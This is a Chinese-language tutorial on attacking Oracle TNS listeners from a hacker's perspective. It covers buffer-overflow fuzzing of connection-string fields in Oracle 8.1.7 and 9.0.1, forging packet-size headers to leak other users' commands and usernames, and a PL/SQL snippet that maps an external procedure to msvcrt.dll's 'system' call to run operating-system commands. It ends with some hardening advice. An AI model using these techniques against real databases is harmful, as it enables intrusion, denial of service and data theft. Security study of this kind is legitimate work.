从黑客角度检验oracle数据库
三 listener attacke demo
1 缓冲区溢出:
覆盖堆栈的内存,执行恶意的代码。监听服务的缓冲区溢出:
1) 一个连接字符串的例子:
– (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HO
ST=)(USER=))(COMMAND=status) (SERVICE=LIST80)(VERSION=135294976)))
2) 寻找缓冲区溢出:
改变适当的值看看会发生什么情况
– Try USER= with 4,000 Xs after it
– Try SERVICE= with 4000 Xs after it
– Etc…
黑客是如何发现缓冲区溢出的:
当一个命令发生到监听服务时,黑客试图在连接字符中加很长的字符串,例如发生USER=一个很上的字符串。如果数据库开发人员只为username分配了一个1024字节长的单元,当发送超过了1024个字节,其他的字符将覆盖后边的单元。所以程序要能自能的对长度进行检查。
2 监听器服务缓冲区溢出
i) Oracle 8.1.7
发生1k的字节COMMAND= dwon机
超过4k会使系统崩溃。
ii) oracle 9.0.1
发生1k的字节SERVICE=
3 利用报头区的值
典型的命令:
– .T.......6.,...............:................4.............(CONNECT_DATA=.)
垃圾字符描述了报头的信息
– Offset to data
– Size of connection string
– Size of packet
– Type of packet
4 窃取监听命令
发生一下的命令:
– .T.......6.,...............:................4.............(CONNECT_DATA=.)
改变报头表明40字节
– ......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_
STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DAT
A=.)ervices))CONNECT'))(ERROR=(CODE=3 03)(EMFI=1))))
改变报头表明200字节
– ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)
(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNE
CT_DATA=.)ervices))CONNECT_DATA=(SID=orcl)(global_dbname=te
st.com)(CID=(PROGRAM=C:\Oracle\bin\sqlplus.exe)(HOST=anewman)
(USER=aaron))')) (ERROR=(CODE=303)(EMFI=1))))
如果你伪造数据包的大小,监听将随意返回任何数据在它的命令字符中将超过你发生的字符长。例如一个用户上交了100字符的命令,而对你的返回要10字符,监听将先返回10字符对你的原先的拷贝,但这样的返回不会终结,还会返回90个先前命令的字符。可以获得username,当然这样是难的,不过这样的危险还是存在的。
6 外部程序
动态库和共享lib中的函数能被pl/sql调用的通过创建lib和packages进行设置:
– CREATE LIBRARY test AS ‘msvcrt,dll’;
CREATE PACKAGE test_function IS PROCEDURE
exec(command IN CHAR);
CREATE PACKAGE BODY test_function IS
PROCEDURE exec(command IN CHAR)
IS EXTERNAL NAME “system”
LIBRARY test;
有许多安去问题和外部服务进程有关,Xprocs允许在oracle中创建函数,参照DLL或共享库文件在操作系统上。这个很强的特性使得数据库能任何操作系统可以做得事情。当然权利越大责任也越大。创建一个Xproc可以指向操作系统的任何一个dll,使得你可以执行操作系统的命令。同样象获得数据库服务器的资源那样,来获得系统资源。第一关心的是你有没有给一个用户creat library和create procedure的特权。
7 远程回调外部进程
非‘正式’支持
但它很有效
ExtPorcs 是监听的另一个连接点
– SID_LIST_LISTENER =
– (SID_LIST =
– (SID_DESC =
– (SID_NAME = PLSExtProc)
– (ORACLE_HOME = E:\oracle\ora81)
-(PROGRAM = extproc)
ExtProc任何审核一个用户
――它是无效的!!!!!
8 默认设置-对外进程
自动配置
-Oracle 8i –YES
-Oracle 9i-NO
Call listener
-Do not create ExtProc as another listener endpoint
-Create its own entry in the listener.ora file